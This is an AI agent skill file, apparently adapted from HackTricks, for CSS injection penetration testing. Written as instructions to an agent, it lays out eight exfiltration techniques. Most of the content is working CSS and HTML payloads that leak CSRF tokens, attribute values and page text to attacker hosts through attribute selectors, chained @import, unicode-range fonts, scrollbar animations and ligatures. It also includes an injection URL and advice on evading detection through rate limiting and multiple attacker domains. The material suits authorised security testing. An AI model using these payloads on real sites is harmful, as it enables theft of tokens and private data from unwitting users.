Hacktricks-skills css-injection-pentest

CSS injection attack techniques for web security testing. Use this skill whenever the user mentions CSS injection, style injection, attribute exfiltration, blind CSS attacks, @import exfiltration, unicode-range attacks, font-based data leakage, or any CSS-based information disclosure. Trigger for pentesting tasks involving CSS vulnerabilities, XSS search via CSS, or data exfiltration through style attributes. Make sure to use this skill for any web security assessment where CSS injection vectors are suspected or confirmed.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/css-injection/css-injection/SKILL.MD
source content

CSS Injection Pentesting

A comprehensive guide to CSS injection attack techniques for web security assessments.

When to Use This Skill

Use this skill when:

  • You've identified a CSS injection vulnerability in a web application
  • You need to exfiltrate data through CSS selectors and properties
  • You're performing XSS search (XS-Search) using CSS techniques
  • You need to enumerate hidden form fields, tokens, or sensitive data
  • You're testing for blind CSS exfiltration scenarios
  • You need to leverage CSS primitives for information disclosure

Prerequisites

Before attempting CSS injection attacks, verify:

  1. Payload Length: The injection vector must support sufficiently long payloads
  2. CSS Re-evaluation: Ability to trigger CSS re-evaluation (often requires framing the page)
  3. External Resources: Ability to load external images/resources (check CSP restrictions)
  4. Browser Support: Some techniques require specific browser features (e.g.,
    if()
    ,
    :has
    )

Technique 1: Attribute Selector Exfiltration

Extract data from input element attributes using CSS selectors.

Basic Pattern

input[name="csrf"][value^="a"] {
  background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
  background-image: url(https://attacker.com/exfil/b);
}
/* Repeat for all characters: 0-9, a-z, A-Z, special chars */

Bypass for Hidden Elements

Hidden inputs don't load backgrounds. Use the general sibling combinator:

input[name="csrf"][value^="csrF"] ~ * {
  background-image: url(https://attacker.com/exfil/csrF);
}

How it works: Targets any element following the hidden input, triggering the background load.

Blind Attribute Selector with
:has
and
:not

For blind pages where you don't know the DOM structure:

html:has(input[name^="m"]):not(input[name="mytoken"]) {
  background: url(/m);
}

This identifies content even from blind elements by combining

:has
and
:not
selectors.


Technique 2: @import Chained Exfiltration

Advanced technique by Pepe Vila that loads the page once and chains exfiltration through

@import
.

Payload Structure

@import url("//attacker.com:5001/start?");

Attack Flow

  1. Victim loads page with
    @import
    to attacker server
  2. Attacker sends CSS with:
    • Another
      @import
      (held pending)
    • Attribute selector payload to leak first/last character
  3. Attacker receives first/last char, responds to pending
    @import
  4. Repeat for second/penultimate character
  5. Continue until full secret is leaked

Key Advantages

  • Only one initial payload needed
  • No need to send multiple links to victim
  • No iframe requirement
  • Leaks 2 characters per iteration (prefix + suffix)

Selector Patterns

/* Match beginning of value */
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* Match end of value */
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

Technique 3: Inline-Style CSS Exfiltration

Exfiltrate data using only an element's inline style attribute. Requires Chromium-based browsers.

Prerequisites

  • Control over an element's
    style
    attribute
  • Target attribute must be on the same element (
    attr()
    reads only same-element attributes)
  • Browser supports CSS
    if()
    conditionals

Basic Pattern

<div style='--val: attr(data-username); 
            --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); 
                       else: if(style(--val:"zak"): url(https://attacker.tld/zak); 
                               else: url(https://attacker.tld/james)));
            background: image-set(var(--steal));' 
     data-username="james">
  test
</div>

Critical Notes

  • Double quotes required in
    if()
    comparisons (single quotes won't match)
  • Works best for finite/enumerable value spaces (IDs, flags, short usernames)
  • Any CSS property that fetches URLs can trigger the request:
    • background
      /
      image-set
    • border-image
    • list-style
    • cursor
    • content

Enumerating Values

<div style='--val: attr(data-uid); 
            --steal: if(style(--val:"1"): url(/1); 
                       else: if(style(--val:"2"): url(/2); 
                               else: if(style(--val:"3"): url(/3); 
                                       else: url(/4)))); 
            background: image-set(var(--steal));' 
     data-uid='1'></div>

Technique 4: @font-face with unicode-range

Extract text content by loading fonts only for specific Unicode characters present in the page.

Basic Pattern

@font-face {
  font-family: poc;
  src: url(http://attacker.example.com/?A);
  unicode-range: U+0041;
}
@font-face {
  font-family: poc;
  src: url(http://attacker.example.com/?B);
  unicode-range: U+0042;
}
@font-face {
  font-family: poc;
  src: url(http://attacker.example.com/?C);
  unicode-range: U+0043;
}

#sensitive-information {
  font-family: poc;
}

Result: If text contains "AB", only

?A
and
?B
are fetched.
?C
is not loaded.

Error-Based XS-Search

Use

@font-face
to detect resource availability:

<style>
  @font-face {
    font-family: poc;
    src: url(http://attacker.com/?leak);
    unicode-range: U+0041;
  }
  #poc0 {
    font-family: "poc";
  }
</style>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>

How it works: If

favicon.ico
fails to load, fallback text "A" is displayed using the custom font, triggering the leak request.


Technique 5: Text Node Exfiltration with Default Fonts

Leak charset using pre-installed fonts (no external assets required).

Comic Sans Height Trick

Comic Sans is taller than default fonts. Use this to trigger scrollbars:

@font-face {
  font-family: has_A;
  src: local("Comic Sans MS");
  unicode-range: U+41;
  font-style: monospace;
}
/* Repeat for all characters */

@font-face {
  font-family: rest;
  src: local("Courier New");
  font-style: monospace;
  unicode-range: U+0-10FFFF;
}

div.leak {
  overflow-y: auto;
  overflow-x: hidden;
  height: 40px;
  font-size: 0px;
  font-family: rest;
  width: 0px;
  animation: loop step-end 200s 0s, trychar step-end 2s 0s;
  animation-iteration-count: 1, infinite;
}

div.leak::first-line {
  font-size: 30px;
  text-transform: uppercase;
}

@keyframes trychar {
  5% {
    font-family: has_A, rest;
    --leak: url(?a);
  }
  /* Repeat for all characters */
}

@keyframes loop {
  0% { width: 0px; }
  1% { width: 20px; }
  /* Increment width to expose characters one at a time */
}

div::-webkit-scrollbar:vertical {
  background: blue var(--leak);
}

How it works:

  1. Animation expands div width, moving characters from suffix to prefix
  2. When a character enters prefix, trychar animation tests if it matches
  3. If match, Comic Sans is applied, making text taller
  4. Vertical scrollbar appears, triggering the leak URL

Technique 6: Scroll-to-Text Fragment

Exploit the

:target
pseudo-class with Scroll-to-text fragments.

Payload

:target::before {
  content: url(http://attackers-domain/?confirmed_existence_of_Administrator_username);
}

Attack URL

http://target.com/page?note=<style>:target::before{content:url(http://attacker/?leak)}</style>#:~:text=Administrator

How it works: If "Administrator" exists on the page, the fragment targets it, triggering the CSS rule and loading the attacker's resource.

Limitations

  • Only matches words/sentences (not arbitrary secrets)
  • Works only in top-level browsing contexts (not iframes)
  • Requires user activation (clicking the link)

Technique 7: Ligature-Based Exfiltration

Extract text by exploiting font ligatures and width changes.

Process

  1. Create SVG fonts with glyphs having large

    horiz-adv-x
    for character pairs:

    <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
    
  2. Detect width changes via scrollbar:

    body {
      white-space: nowrap;
    }
    body::-webkit-scrollbar:horizontal {
      background: url(http://attacker.com/?leak);
    }
    
  3. Iterative process:

    • Detect 2-character ligatures
    • Generate 3-character ligatures with detected pair
    • Repeat until full text is revealed

Technique 8: Other CSS Selectors

Additional selectors for DOM access:

nth-child

.class-to-search:nth-child(2) {
  background-image: url(http://attacker.com/?second);
}

:empty Selector

[role^="img"][aria-label="1"]:empty {
  background-image: url("YOUR_SERVER_URL?1");
}

Practical Considerations

CSP Bypasses

  • Check if
    unsafe-inline
    is allowed
  • Look for
    style-src
    that permits external resources
  • Test if
    font-src
    allows external fonts
  • Verify
    img-src
    for background image loading

Browser Compatibility

TechniqueChromeFirefoxSafari
Attribute selectors
:has
selector
if()
conditionals
@import
chaining
unicode-range
Scroll-to-text

Rate Limiting

  • Space out requests to avoid detection
  • Use multiple attacker domains
  • Implement delays between character leaks

References